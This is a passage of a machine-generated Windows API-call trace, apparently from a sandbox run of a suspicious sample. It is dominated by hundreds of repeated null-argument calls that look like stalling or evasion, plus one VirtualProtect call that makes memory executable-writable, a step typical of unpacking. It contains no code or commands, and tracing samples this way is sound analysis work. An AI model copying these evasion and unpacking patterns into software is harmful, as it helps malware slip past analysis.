lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.582] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.582] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.582] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.582] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.582] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.582] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.582] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.582] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.582] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.583] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.583] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.583] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.583] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.583] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.584] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.584] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.584] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.584] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.584] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.585] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.585] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.585] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.585] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.585] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.586] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.586] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.586] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.586] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.586] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.586] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.586] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0042.101] Module32First (hSnapshot=0x5c, lpme=0x18fbc0) returned 1 [0042.101] CloseHandle (hObject=0x5c) returned 1 [0042.101] BeginPaint (in: hWnd=0x0, lpPaint=0x0 | out: lpPaint=0x0) returned 0x0 [0042.101] GetLastError () returned 0x578 [0042.108] LocalFree (hMem=0x289f40) returned 0x0 [0042.108] VirtualProtect (in: lpAddress=0x252800, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0042.108] GetLastError () returned 0x578 [0042.108] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] AddAtomA (lpString=0x0) returned 0x0 [0042.109] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.109] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.109] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.109] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.110] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.110] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.110] GetLastError () returned 0x3 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.110] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.111] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.111] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.111] GetLastError () returned 0x3 [0042.111] AddAtomA (lpString=0x0) returned 0x0 [0042.111] 